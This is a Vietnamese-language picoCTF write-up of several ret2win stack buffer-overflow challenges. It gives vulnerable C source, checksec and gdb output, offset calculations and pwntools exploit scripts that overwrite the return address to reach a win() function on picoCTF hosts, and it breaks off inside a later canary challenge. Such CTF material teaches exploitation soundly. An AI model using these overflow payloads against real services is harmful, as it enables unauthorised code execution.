picoCTF 2026 - Pwnable

#Chạy thử

Khi kết nối vào server, nó yêu cầu nhập tên, nếu nhập số quá lớn sẽ đơ, còn không thì báo lại tên vừa nhập

1
Welcome to the secure echo service!
2
Please enter your name: 999999999999999999999999999999999999999999999999999999
3

4
Welcome to the secure echo service!
5
Please enter your name: 99999999999999
6
Hello, 999999999999999
7

8
Thank you for using our service.

#Hiểu code C

1
#include <stdio.h>
2
#include <unistd.h>
3
#include <string.h>
4

5
void win() {
6
    FILE *fp = fopen("flag.txt", "rb");
7
    if (!fp) {
8
        perror("[!] Failed to open flag.txt");
9
        return;
10
    }
11

12
    char buffer[128];
13
    size_t n = fread(buffer, 1, sizeof(buffer), fp);
14
    fwrite(buffer, 1, n, stdout);
15
    fflush(stdout);
16
    printf("\n");
17
    fclose(fp);
18
}
19

20
int main() {
21
    char buf[32];
22

23
    printf("Welcome to the secure echo service!\n");
24
    printf("Please enter your name: ");
25
    fflush(stdout);
26

27
    read(0, buf, 128);
28

29
    printf("Hello, %s\n", buf);
30
    printf("Thank you for using our service.\n");
31

32
    return 0;
33
}

Bỏ qua những lệnh gọi thư viện, ta đến với function win(), nó mở ra đọc flag, nếu flag NULL (không tồn tại, không có quyền) sẽ in lỗi. Tiếp đến, đặt buffer 128bytes, dùng lệnh read đưa flag vào buffer rồi fwrite n byte dữ liệu từ buffer ra stdout (Dùng n trung gian để tối ưu hệ thống). Cuối cùng dùng lệnh fflush(stdout) để đẩy hết đầu ra ngay lập tức mà không cần chờ chương trình chạy xong mới hiện (Khi BOF chương trình có thể terminated và lỗi toàn bộ khiến flag sẽ không được hiện ra)

1
void win() {
2
    FILE *fp = fopen("flag.txt", "rb");
3
    if (!fp) {
4
        perror("[!] Failed to open flag.txt");
5
        return;
6
    }
7

8
    char buffer[128];
9
    size_t n = fread(buffer, 1, sizeof(buffer), fp);
10
    fwrite(buffer, 1, n, stdout);
11
    fflush(stdout);
12
    printf("\n");
13
    fclose(fp);
14
}

Và phần thực thi chính của chương trình, tạo buffer 32, đẩy hết đầu ra bằng fflush, dùng lệnh read đọc vào buffer với số lượng tới 128 byte và end ngắt chương trình

1
int main() {
2
    char buf[32];
3

4
    printf("Welcome to the secure echo service!\n");
5
    printf("Please enter your name: ");
6
    fflush(stdout);
7

8
    read(0, buf, 128);
9

10
    printf("Hello, %s\n", buf);
11
    printf("Thank you for using our service.\n");
12

13
    return 0;
14
}

#Check bảo mật

Ta dùng lệnh checksec vuln để xem cơ chế bảo mật của bài này

1
[*] '/home/flrsh/workspace5/vuln'
2
    Arch:       amd64-64-little
3
    RELRO:      Partial RELRO
4
    Stack:      No canary found     -> No Canaries -> BOF
5
    NX:         NX enabled
6
    PIE:        No PIE (0x400000)   -> No PIE -> không random address
7
    SHSTK:      Enabled
8
    IBT:        Enabled
9
    Stripped:   No

Như code đã phân tích ở trên rằng bài này không có Custom Canary, thêm vào đó địa chỉ process không thay đổi mỗi phiên chạy (No PIE) ta có thể kết luận rằng kĩ thuật khai thác là ret2win

#p win

Vì đã biết kĩ thuật khai thác, ta cần tìm được địa chỉ hàm win trước, sử dụng gdb để debug file thực thi chính, sau đó dùng lệnh p win để show ra địa chỉ hàm win() và nhận lại kết quả là địa chỉ 0x401256

1
gef➤  p win
2
$1 = {<text variable, no debug info>} 0x401256 <win>

#Nhập input

Dùng lệnh disas main để xem code asm:

1
Dump of assembler code for function main:
2
   0x00000000004012fb <+0>:     endbr64
3
   0x00000000004012ff <+4>:     push   rbp
4
   0x0000000000401300 <+5>:     mov    rbp,rsp
5
   0x0000000000401303 <+8>:     sub    rsp,0x20
6
   0x0000000000401307 <+12>:    lea    rdi,[rip+0xd22]        # 0x402030
7
   0x000000000040130e <+19>:    call   0x4010e0 <puts@plt>
8
   0x0000000000401313 <+24>:    lea    rdi,[rip+0xd3a]        # 0x402054
9
   0x000000000040131a <+31>:    mov    eax,0x0
10
   0x000000000040131f <+36>:    call   0x401110 <printf@plt>
11
   0x0000000000401324 <+41>:    mov    rax,QWORD PTR [rip+0x2d4d]        # 0x404078 <stdout@@GLIBC_2.2.5>
12
   0x000000000040132b <+48>:    mov    rdi,rax
13
   0x000000000040132e <+51>:    call   0x401130 <fflush@plt>
14
   0x0000000000401333 <+56>:    lea    rax,[rbp-0x20]
15
   0x0000000000401337 <+60>:    mov    edx,0x80
16
   0x000000000040133c <+65>:    mov    rsi,rax
17
   0x000000000040133f <+68>:    mov    edi,0x0
18
   0x0000000000401344 <+73>:    call   0x401120 <read@plt>
19
   0x0000000000401349 <+78>:    lea    rax,[rbp-0x20]
20
   0x000000000040134d <+82>:    mov    rsi,rax
21
   0x0000000000401350 <+85>:    lea    rdi,[rip+0xd16]        # 0x40206d
22
   0x0000000000401357 <+92>:    mov    eax,0x0
23
   0x000000000040135c <+97>:    call   0x401110 <printf@plt>
24
   0x0000000000401361 <+102>:   lea    rdi,[rip+0xd10]        # 0x402078
25
   0x0000000000401368 <+109>:   call   0x4010e0 <puts@plt>
26
   0x000000000040136d <+114>:   mov    eax,0x0
27
   0x0000000000401372 <+119>:   leave
28
   0x0000000000401373 <+120>:   ret
29
End of assembler dump.

Đặt breakpoint tại lệnh read (b *0x0000000000401344) rồi dùng r và nhập một payload khoảng 60 byte (dùng pwn cyclic 60)

Địa chỉ ngay bên dưới $rbp (hay gọi là saved rbp) chính là return address (rbp+8 là 0x0028 vì đây là kiến trúc 64 bit), bị ghi đề bởi giá trị thử nghiệm ở trên

1
───────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
2
0x00007fffffffd9c0│+0x0000: "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaama[...]"    ← $rsp, $rsi
3
0x00007fffffffd9c8│+0x0008: "caaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoa[...]"
4
0x00007fffffffd9d0│+0x0010: 0x6161616661616165
5
0x00007fffffffd9d8│+0x0018: 0x6161616861616167
6
0x00007fffffffd9e0│+0x0020: 0x6161616a61616169   ← $rbp
7
0x00007fffffffd9e8│+0x0028: 0x6161616c6161616b
8
0x00007fffffffd9f0│+0x0030: 0x6161616e6161616d
9
0x00007fffffffd9f8│+0x0038: 0x00007f0a6161616f

Bạn thấy giá trị nó tràn xuống bên dưới chứ, đó là tràn bộ nhớ, các giá trị sẽ tràn xuống và chiếm dụng tài nguyên các phần bộ nhớ khác, từ đó ta có thể thay thế giá trị của return address để nó trỏ đến địa chỉ mà mình muốn, ở đây ta trỏ tới hàm win()

#Payload

Sử dụng python để viết script cho nhanh gọn

1
from pwn import *
2

3
host = 'mysterious-sea.picoctf.net'
4
port = #port từ đề bài
5

6
p = remote(host, port)
7

8
win = p64(0x401256)
9
payload = b'a'*32 + b'b'*8 + win
10

11
p.sendline(payload)
12

13
p.interactive()

#Kết quả

1
[+] Opening connection to mysterious-sea.picoctf.net on port 59995: Done
2
[*] Switching to interactive mode
3
Welcome to the secure echo service!
4
Please enter your name: Hello, aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbbbbbbV\x12@
5
Thank you for using our service.
6
picoCTF{}[*] Got EOF while reading in interactive

Tự làm đi nhé baby

#Chạy thử

Khi kết nối vào server, nó yêu cầu nhập secret key, nếu nhập số quá lớn sẽ đơ, còn không thì báo lại key vừa nhập

1
Enter the secret key: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbbv
2

3
Enter the secret key: aaaaaaaaaaaaaaaaaaaaaaaaaaaa
4
You entered:, aaaaaaaaaaaaaaaaaaaaaaaaaaaa
5

6
Goodbye!

#Hiểu code C

1
#include <stdio.h>
2
#include <stdlib.h>
3
#include <string.h>
4

5
void win() {
6
    FILE *fp = fopen("flag.txt", "r");
7
    if (!fp) {
8
        perror("[!] Could not open flag.txt");
9
        exit(1);
10
    }
11

12
    char flag[128];
13
    fgets(flag, sizeof(flag), fp);
14
    printf("Flag: %s\n", flag);
15
    fflush(stdout);
16
    fclose(fp);
17
}
18

19
void vuln() {
20
    char buf[32];
21

22
    printf("Enter the secret key: ");
23
    fflush(stdout);
24

25
    fgets(buf, 128, stdin);
26

27
    printf("You entered:, %s\n", buf);
28
}
29

30
int main() {
31
    vuln();
32
    puts("Goodbye!");
33
    return 0;
34
}

Bỏ qua những lệnh gọi thư viện, ta đến với function win(), nó mở ra đọc flag, nếu flag NULL (không tồn tại, không có quyền) sẽ in lỗi. Tiếp đến, đặt buffer 128bytes, dùng lệnh fgets đưa flag vào buffer với giới hạn kích thước dữ liệu là size của flag (sizeof(flag)). Cuối cùng dùng lệnh fflush(stdout) để đẩy hết đầu ra ngay lập tức mà không cần chờ chương trình chạy xong mới hiện (Khi BOF chương trình có thể terminated và lỗi toàn bộ khiến flag sẽ không được hiện ra)

1
void win() {
2
    FILE *fp = fopen("flag.txt", "r");
3
    if (!fp) {
4
        perror("[!] Could not open flag.txt");
5
        exit(1);
6
    }
7

8
    char flag[128];
9
    fgets(flag, sizeof(flag), fp);
10
    printf("Flag: %s\n", flag);
11
    fflush(stdout);
12
    fclose(fp);
13
}

Hàm vuln sẽ là hàm được quan tâm nhất vì hàm main chỉ khai báo hàm này rồi exit. Đầu tiên đặt bộ đệm buf 32bytes, dùng fflush(stdout) để xuất dữ liệu ngay trước khi chương trình death, kế đến dùng lệnh fgets; trước tiên ta cần biết fgets là hàm sẽ đọc dữ liệu chuỗi chủ động cho đến khi gặp ‘\n’, cấu trúc fgets sẽ là fgets(đích, giới hạn kích thước dữ liệu, nơi lấy) hoặc bạn có thể xem thêm tại đây

Như vậy ta có thể thấy fgets được cấp một giới hạn quá lớn (128) so với buf được cấp (32). Mặc du fgets nếu như biết sử dụng sizeof như hàm trên thì rất an toàn, còn nếu đặt như hiện tại sẽ tạo ra lỗ hổng Buffer Overflow, có thể dùng các kí tự rác đè lên bộ đệm buf rồi gán các giá trị đè qua saved ebp và return address để trỏ vào một địa chỉ mong muốn

1
void vuln() {
2
    char buf[32];
3

4
    printf("Enter the secret key: ");
5
    fflush(stdout);
6

7
    fgets(buf, 128, stdin);
8

9
    printf("You entered:, %s\n", buf);
10
}

#Check bảo mật

Ta dùng lệnh checksec vuln để xem cơ chế bảo mật của bài này

1
[*] '/home/flrsh/workspace5/vuln'
2
    Arch:       i386-32-little      -> saved ebp chỉ có 4 bytes, và return address cũng 32bits
3
    RELRO:      Partial RELRO
4
    Stack:      No canary found     -> không custom Canary -> dễ bypass qua saved ebp -> ret2win
5
    NX:         NX enabled
6
    PIE:        No PIE (0x8048000)  -> không ngẫu nhiên địa chỉ -> dễ tính offset
7
    SHSTK:      Enabled
8
    IBT:        Enabled
9
    Stripped:   No

Như code đã phân tích ở trên rằng bài này không có Custom Canary, thêm vào đó địa chỉ process không thay đổi mỗi phiên chạy (No PIE) ta có thể kết luận rằng kĩ thuật khai thác là ret2win

#p win

Vì đã biết kĩ thuật khai thác, ta cần tìm được địa chỉ hàm win trước, sử dụng gdb để debug file thực thi chính, sau đó dùng lệnh p win để show ra địa chỉ hàm win() và nhận lại kết quả là địa chỉ 0x8049276

1
gef➤  p win
2
$1 = {<text variable, no debug info>} 0x8049276 <win>

#vuln

Vì chìa khóa giải bài này nằm ở hàm vuln (nơi chứa bug và địa chỉ ebp cần thiết) ta sẽ dùng lệnh disas vuln để xem qua code của hàm này:

1
Dump of assembler code for function vuln:
2
   0x08049328 <+0>:     endbr32
3
   0x0804932c <+4>:     push   ebp
4
   0x0804932d <+5>:     mov    ebp,esp
5
   0x0804932f <+7>:     push   ebx
6
   0x08049330 <+8>:     sub    esp,0x24
7
   0x08049333 <+11>:    call   0x80491b0 <__x86.get_pc_thunk.bx>
8
   0x08049338 <+16>:    add    ebx,0x2cc8
9
   0x0804933e <+22>:    sub    esp,0xc
10
   0x08049341 <+25>:    lea    eax,[ebx-0x1fc7]
11
   0x08049347 <+31>:    push   eax
12
   0x08049348 <+32>:    call   0x80490d0 <printf@plt>
13
   0x0804934d <+37>:    add    esp,0x10
14
   0x08049350 <+40>:    mov    eax,DWORD PTR [ebx-0x4]
15
   0x08049356 <+46>:    mov    eax,DWORD PTR [eax]
16
   0x08049358 <+48>:    sub    esp,0xc
17
   0x0804935b <+51>:    push   eax
18
   0x0804935c <+52>:    call   0x80490e0 <fflush@plt>
19
   0x08049361 <+57>:    add    esp,0x10
20
   0x08049364 <+60>:    mov    eax,DWORD PTR [ebx-0x8]
21
   0x0804936a <+66>:    mov    eax,DWORD PTR [eax]
22
   0x0804936c <+68>:    sub    esp,0x4
23
   0x0804936f <+71>:    push   eax
24
   0x08049370 <+72>:    push   0x80
25
   0x08049375 <+77>:    lea    eax,[ebp-0x28]
26
   0x08049378 <+80>:    push   eax
27
   0x08049379 <+81>:    call   0x80490f0 <fgets@plt>
28
   0x0804937e <+86>:    add    esp,0x10
29
   0x08049381 <+89>:    sub    esp,0x8
30
   0x08049384 <+92>:    lea    eax,[ebp-0x28]
31
   0x08049387 <+95>:    push   eax
32
   0x08049388 <+96>:    lea    eax,[ebx-0x1fb0]
33
   0x0804938e <+102>:   push   eax
34
   0x0804938f <+103>:   call   0x80490d0 <printf@plt>
35
   0x08049394 <+108>:   add    esp,0x10
36
   0x08049397 <+111>:   nop
37
   0x08049398 <+112>:   mov    ebx,DWORD PTR [ebp-0x4]
38
   0x0804939b <+115>:   leave
39
   0x0804939c <+116>:   ret
40
End of assembler dump.

Ồ đoạn này rất khả nghi, vì tôi không hiểu code asm lắm nên tôi sẽ diện phần này vào là offset tiềm năng (ebp-0x28), nhưng cần phải làm một số bước khác để tính toán chắc chắn offset của bài

1
   0x08049375 <+77>:    lea    eax,[ebp-0x28]
2
   0x08049378 <+80>:    push   eax
3
   0x08049379 <+81>:    call   0x80490f0 <fgets@plt>

Để kiểm chứng, tôi dùng pattern create 60 để tạo chuỗi số ngẫu nhiên 60bytes để gửi input

1
gef➤  pattern create 60
2
[+] Generating a pattern of 60 bytes (n=4)
3
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaa

Tôi đặt breakpoint vào địa chỉ lệnh lea ở trên (b *vuln+77) và run chương trình (r), dùng ni(next instruction) rồi xem các thanh ghi eax, ebp bằng i r eax ebp

1
gef➤  i r eax ebp
2
eax            0xffffcb80          0xffffcb80
3
ebp            0xffffcba8          0xffffcba8

eax giờ chứa địa chỉ tại ebp-0x28 nếu trừ thì chắc chắn ra 0x28 rồi, còn ebp thì ở định buffer thực ra ở bước này ta đã xác định được offset rồi, nhưng để thuyết phục hơn ta dùng một cách tính offset khác dễ dàng hơn bằng công cụ của GEF

Tôi dùng continue(c) để chạy đến đoạn nhập input, rồi nhập chuỗi tạo ban này và nhập vào. Sau khi nhập thì chương trình sẽ bị lỗi SIGSEGV

1
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
2
$eax   : 0x4c
3
$ebx   : 0x6161616a ("jaaa"?)
4
$ecx   : 0x0
5
$edx   : 0x0
6
$esp   : 0xffffcbb0  →  "maaanaaaoaaa\n"
7
$ebp   : 0x6161616b ("kaaa"?)
8
$esi   : 0x080493f0  →  <__libc_csu_init+0000> endbr32
9
$edi   : 0xf7ffcb60  →  0x00000000
10
$eip   : 0x6161616c ("laaa"?)
11
$eflags: [zero carry parity adjust SIGN trap INTERRUPT direction overflow RESUME virtualx86 identification]
12
$cs: 0x23 $ss: 0x2b $ds: 0x2b $es: 0x2b $fs: 0x00 $gs: 0x63
13
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
14
0xffffcbb0│+0x0000: "maaanaaaoaaa\n"     ← $esp
15
0xffffcbb4│+0x0004: "naaaoaaa\n"
16
0xffffcbb8│+0x0008: "oaaa\n"
17
0xffffcbbc│+0x000c: 0xf7da000a  →  "e_uncompress"
18
0xffffcbc0│+0x0010: 0x00000000
19
0xffffcbc4│+0x0014: 0x00000000
20
0xffffcbc8│+0x0018: 0xf7dbeb59  →   add ebx, 0x1eb2db
21
0xffffcbcc│+0x001c: 0xf7da5c75  →   add esp, 0x10
22
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:32 ────
23
[!] Cannot disassemble from $PC
24
[!] Cannot access memory at address 0x6161616c
25
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
26
[#0] Id 1, Name: "vuln", stopped 0x6161616c in ?? (), reason: SIGSEGV
27
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
28
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
29
gef➤  pattern search $eip
30
[+] Searching for '6c616161'/'6161616c' with period=4
31
[+] Found at offset 44 (little-endian search) likely

Thanh ghi eip tôi thấy đã bị ghi đè $eip : 0x6161616c ("laaa"?) (cái địa chỉ này là chứa return address đó), nhưng để tính offset chuẩn ta dùng thêm lệnh pattern search $eip. Lệnh này có tác dụng dựa vào cái pattern create ban đầu và đếm các mốc (bạn thấy chuỗi được tạo có các chữ aaaabaaacaaa abcdef) để đưa ra offset chính xác đến một thanh ghi cụ thể (ở đây tôi chọn eip để chứng minh rằng kiến trúc 32 bit có saved ebp là 4 bytes)

1
gef➤  pattern search $eip
2
[+] Searching for '6c616161'/'6161616c' with period=4
3
[+] Found at offset 44 (little-endian search) likely

Dựa vào cái l để tìm ra chính xác 44 bytes (là 0x28 + 4 bytes của saved ebp)

#Payload

Dùng python cho tiện, gọn, lẹ

1
from pwn import *
2

3
host = 'dolphin-cove.picoctf.net'
4
port = #port
5

6
p = remote(host, port)
7

8
win = p32(0x8049276)
9
payload = b'a'*40 + b'b'*4 + win
10

11
p.sendline(payload)
12

13
p.interactive()

Kết quả:

1
[+] Opening connection to dolphin-cove.picoctf.net on port 52321: Done
2
[*] Switching to interactive mode
3
Enter the secret key: You entered:, aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbbv\x92\x04\x08
4

5
Flag: picoCTF{}
6
[*] Got EOF while reading in interactive

Tự làm đi baby

#Chạy thử

Khi chạy thử file binary được tạo, nó yêu cầu nhập string, với số lượng trong phạm vi buff nó sẽ mặc định nhảy tới 0x8049335, còn nếu tràn qua ret thì nhận input làm return address luôn

1
Please enter your string:
2
99999999999999999999999999999999999999999999999
3
Okay, time to return... Fingers Crossed... Jumping to 0x8049335
4

5
Please enter your string:
6
99999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
7
Okay, time to return... Fingers Crossed... Jumping to 0x39393939
8
Segmentation fault (core dumped)

#Hiểu code C

1
#include <stdio.h>
2
#include <stdlib.h>
3
#include <string.h>
4
#include <unistd.h>
5
#include <sys/types.h>
6
#include "CodeBank/asm.h"
7

8
#define BUFSIZE 38
9
#define FLAGSIZE 64
10

11
void win() {
12
  char buf[FLAGSIZE];
13
  FILE *f = fopen("CodeBank/flag.txt","r");
14
  if (f == NULL) {
15
    printf("%s %s", "You may not have plenty of time",
16
                    "to solve the challenge.\n");
17
    exit(0);
18
  }
19

20
  fgets(buf,FLAGSIZE,f);
21
  printf(buf);
22
}
23

24
void vuln(){
25
  char buf[BUFSIZE];
26
  gets(buf);
27

28
  printf("Okay, time to return... Fingers Crossed... Jumping to 0x%x\n", get_return_address());
29
}
30

31
int main(int argc, char **argv){
32

33
  setvbuf(stdout, NULL, _IONBF, 0);
34

35
  gid_t gid = getegid();
36
  setresgid(gid, gid, gid);
37

38
  puts("Please enter your string: ");
39
  vuln();
40
  return 0;
41
}

Mấy dòng đầu là gọi hàm và file, cũng như khai báo kích thước của Buffer (Ngẫu nhiên với mỗi file được tạo ra mỗi session), flag thì cố định 64 bytes

1
#include <stdio.h>
2
#include <stdlib.h>
3
#include <string.h>
4
#include <unistd.h>
5
#include <sys/types.h>
6
#include "CodeBank/asm.h"
7

8
#define BUFSIZE 38
9
#define FLAGSIZE 64

Tiếp theo là hàm đầu tiên được tạo, nó mở file flag và check xem liệu file còn tồn tại (trong giới hạn thời gian) không để ngắt Hai dòng cuối tôi sẽ giải thích cặn kẽ hơn:

Hàm fgets(Nơi lưu, Số lượng đọc, Nơi đọc) có tác dụng đọc mỗi chuỗi kí tự Hiểu fgets

Nói chung nó sẽ đọc từ flag.txt theo kích thước của FLAGSIZE-1 vào biến buf (được gọi ở đoạn char buf[FLAGSIZE];)

Còn printf(buf) thì mắc một lỗi format strings nhưng do lệnh này ở hàm win và sau lệnh gọi flag nên không cần quan tâm nó nữa

1
void win() {
2
  char buf[FLAGSIZE];
3
  FILE *f = fopen("CodeBank/flag.txt","r");
4
  if (f == NULL) {
5
    printf("%s %s", "You may not have plenty of time",
6
                    "to solve the challenge.\n");
7
    exit(0);
8
  }
9

10
  fgets(buf,FLAGSIZE,f);
11
  printf(buf);
12
}

Hàm cuối này dùng hàm gets(), một hàm dùng để đọc dữ liệu được nhập vào, nhưng nó thiếu kiểm tra độ dài dữ liệu nên nó cho phép ta nhập vào một chuỗi dài hơn 38 bytes đã khai báo ở trên để ghi đè lên các vùng nhớ quan trọng như saved rbp hay return address

Hiểu gets

Flow tiếp theo nó sẽ prinf ra return address của bài qua hàm get_return_address()

1
void vuln(){
2
  char buf[BUFSIZE];
3
  gets(buf);
4

5
  printf("Okay, time to return... Fingers Crossed... Jumping to 0x%x\n", get_return_address());
6
}

Đây là chương trình chính, phần thiết lập buffer này khiến tôi mất kha khá thời gian để hiểu

Đoạn đầu với int main(int argc, char **argv){ khai báo các tham số và vị trí để chương trình tìm đến và chạy đầu tiên

setvbuf(stdout, NULL, _IONBF, 0): là một cơ chế set buffer mode cho chương trình, ở đây dùng _IONF mode (I/O No Buffering), khi có chế độ này, các dữ liệu được truyền thẳng ra màn hình khi được sử dụng, thay vì đợi đầy buffer hoặc dùng các hàm đặc biệt nó mới hiện hết trên màn hình

stdout: dữ liệu cần cấu hình | NULL: hệ thống tự xử lí con trỏ vùng đệm | _IONF: mode | 0: size buffer

gid_t gid = getegid() và setresgid(gid, gid, gid): Hiểu ngắn gọn thì nó sẽ set permission cho ta như người giữ flag, để tránh permission denied Hiểu getegid Hiểu setresgid

Theo sau những hàm xử lý luồng dữ liệu là hàm puts() với nhiệm vụ in ra màn hình chuỗi được cấp. Kế đến gọi hàm vuln() để người dùng nhập stdin và rồi return 0; ngắt chương trình

1
int main(int argc, char **argv){
2

3
  setvbuf(stdout, NULL, _IONBF, 0);
4

5
  gid_t gid = getegid();
6
  setresgid(gid, gid, gid);
7

8
  puts("Please enter your string: ");
9
  vuln();
10
  return 0;
11
}

#Check bảo mật

1
[*] '/home/ctf-player/21'
2
    Arch:       i386-32-little                   -> Kiến trúc này saved ebp là 4 bytes
3
    RELRO:      Partial RELRO
4
    Stack:      No canary found                  -> Không có Canary, dễ dàng thay đổi return address
5
    NX:         NX unknown - GNU_STACK missing
6
    PIE:        No PIE (0x8048000)               -> Không thay đổi Offset mỗi lần chạy
7
    Stack:      Executable
8
    RWX:        Has RWX segments
9
    Stripped:   No

Như code đã phân tích ở trên rằng bài này không có Custom Canary, thêm vào đó địa chỉ process không thay đổi mỗi phiên chạy (No PIE) ta có thể kết luận rằng kĩ thuật khai thác là ret2win

#p win

Vì đã biết kĩ thuật khai thác, ta cần tìm được địa chỉ hàm win trước, sử dụng gdb để debug file thực thi chính, sau đó dùng lệnh p win để show ra địa chỉ hàm win() và nhận lại kết quả là địa chỉ 0x80491f6

1
(gdb) p win
2
$1 = {<text variable, no debug info>} 0x80491f6 <win>

#vuln()

Tiếp tục dùng lệnh disas vuln để xem các câu lệnh asm và địa chỉ, ta thấy:

1
(gdb) disas vuln
2
Dump of assembler code for function vuln:
3
   0x08049281 <+0>:     endbr32
4
   0x08049285 <+4>:     push   %ebp
5
   0x08049286 <+5>:     mov    %esp,%ebp
6
   0x08049288 <+7>:     push   %ebx
7
   0x08049289 <+8>:     sub    $0x94,%esp
8
   0x0804928f <+14>:    call   0x8049130 <__x86.get_pc_thunk.bx>
9
   0x08049294 <+19>:    add    $0x2d6c,%ebx
10
   0x0804929a <+25>:    sub    $0xc,%esp
11
   0x0804929d <+28>:    lea    -0x96(%ebp),%eax
12
   0x080492a3 <+34>:    push   %eax
13
   0x080492a4 <+35>:    call   0x8049050 <gets@plt>
14
   0x080492a9 <+40>:    add    $0x10,%esp
15
   0x080492ac <+43>:    call   0x8049344 <get_return_address>
16
   0x080492b1 <+48>:    sub    $0x8,%esp
17
   0x080492b4 <+51>:    push   %eax
18
   0x080492b5 <+52>:    lea    -0x1fa0(%ebx),%eax
19
   0x080492bb <+58>:    push   %eax
20
   0x080492bc <+59>:    call   0x8049040 <printf@plt>
21
   0x080492c1 <+64>:    add    $0x10,%esp
22
   0x080492c4 <+67>:    nop
23
   0x080492c5 <+68>:    mov    -0x4(%ebp),%ebx
24
   0x080492c8 <+71>:    leave
25
   0x080492c9 <+72>:    ret
26
End of assembler dump.

Vì bài này đặt buffersize biến buf, ta có thể tính toán chính xác size thật sự bằng cách lấy địa chỉ saved eip - buf address. Nhưng trước hết để tìm ra địa chỉ buf ta có thể thông qua hàm gets trong code trên. Đây là những thứ ta cần chú ý

1
   0x0804929d <+28>:    lea    -0x96(%ebp),%eax
2
   0x080492a3 <+34>:    push   %eax
3
   0x080492a4 <+35>:    call   0x8049050 <gets@plt>

Ta sẽ đặt breakpoint tại lệnh lea sử dụng b *0x0804929d, như tôi nói lúc trước gets() sẽ đưa chuỗi được nhập vào nơi chứa cái được yêu cầu(ở đây là gets(buf)) nên tất cả các chuỗi mình nhập sẽ được đưa vào điểm bắt đầu của buffer, cũng là cái ebp-0x3a ở trên

Để dễ dàng quan sát ta dùng lệnh r sau khi đặt breakpoint, dùng lệnh ni (next instruction) để cái địa chỉ của ebp-0x3a được đưa vào thanh ghi eax. Lúc này, dùng lệnh info registers $eax (i r $eax) để xem giá trị eax store là bao nhiêu

1
(gdb) ni
2
0x080492a3 in vuln ()
3
(gdb) i r eax
4
eax            0xffdc51d2          -2338350

Và con số 0xffdc51d2 chính là địa chỉ của đầu buffer. Tiếp tục dùng info frame (i frame) để giá trị và địa chỉ các thanh ghi trong stack

1
(gdb) i frame
2
Stack level 0, frame at 0xffdc5270:
3
 eip = 0x80492a3 in vuln; saved eip = 0x8049335
4
 called by frame at 0xffdc52a0
5
 Arglist at 0xffdc51c0, args:
6
 Locals at 0xffdc51c0, Previous frame's sp is 0xffdc5270
7
 Saved registers:
8
  ebx at 0xffdc5264, ebp at 0xffdc5268, eip at 0xffdc526c

Mấy dòng ở trên là giá trị các thanh ghi chứa, ta chỉ quan tâm cái eip at 0xffdc526c vì đây là đỉnh stack, chứa return address. Sử dụng lệnh p 0xffdc526c-0xffdc51d2 sẽ ra chính xác offset cần tìm:

1
(gdb) p 0xffdc526c-0xffdc51d2
2
$1 = 154

#Payload

Sử dụng python để viết script là lựa chọn tốt nhất, ta hàm thư viện pwn kết hợp các hàm process, sendline và interactive để khai thác

1
from pwn import *
2

3
p.process('./filename')
4

5
win = p32(0x80491f6)
6
payload = b'a'*... + b'b'*4 + win
7

8
p.sendline(payload)
9

10
p.interactive()

Kết quả thu dược:

1
ctf-player@pico-chall$ python3 k.py
2
[+] Starting local process './19': pid 134
3
[*] Switching to interactive mode
4
Please enter your string:
5
Okay, time to return... Fingers Crossed... Jumping to 0x80491f6
6
picoCTF{}[*] Got EOF while reading in interactive

Tự làm để lấy flag đi nhé!

#Chạy thử

Bài cho một file start thực thi sẽ tạo ra hai files tên là số ngẫu nhiên:

1
ctf-player@pico-chall$ ./start
2
[+] Selected file: filename.c
3
[+] Copied filename.c to current directory.
4
[+] Compilation successful: filename
5
[+] Binary filename has access to flag.txt
6
[*] Deletion scheduled: files will be removed in 80 seconds (even if this script exits).

Thực thi file binary được tạo, nó yêu cầu nhập hai lần:

1
ctf-player@pico-chall$ ./36
2
How many bytes?
3
> 100
4
Input> aaaaaaaaaaaaaaaaaaaaaaaaaa
5
Ok... Now Where's the flag?

#Phân tích code

1
#include <stdio.h>
2
#include <stdlib.h>
3
#include <string.h>
4
#include <unistd.h>
5

6
#define BUFSIZE 334
7
#define CANARY_SIZE 4
8
#define FLAGSIZE 64
9

10
char global_canary[CANARY_SIZE];
11

12
void win() {
13
    char flag[FLAGSIZE];
14
    FILE *f = fopen("CodeBank/flag.txt", "r");
15

16
    if (!f) {
17
        puts("Missing flag.txt.");
18
        exit(0);
19
    }
20

21
    fgets(flag, FLAGSIZE, f);
22
    puts(flag);
23
}
24

25
void load_canary() {
26
    FILE *f = fopen("CodeBank/flag.txt", "r");
27

28
    if (!f) {
29
        puts("Missing flag.txt.");
30
        exit(0);
31
    }
32

33
    fread(global_canary, 1, CANARY_SIZE, f);
34
    fclose(f);
35
}
36

37
void vuln() {
38
    char local_canary[CANARY_SIZE];
39
    char buf[BUFSIZE];
40
    char input[BUFSIZE];
41
    int count, i = 0;
42

43
    memcpy(local_canary, global_canary, CANARY_SIZE);
44

45
    printf("How many bytes?\n> ");
46
    while (i < BUFSIZE && read(0, &input[i], 1) == 1 && input[i] != '\n')
47
        i++;
48

49
    sscanf(input, "%d", &count);
50

51
    printf("Input> ");
52
    read(0, buf, count);
53

54
    if (memcmp(local_canary, global_canary, CANARY_SIZE) != 0) {
55
        puts("***** Stack Smashing Detected *****");
56
        exit(0);
57
    }
58

59
    puts("Ok... Now Where's the flag?");
60
}
61

62
int main() {
63
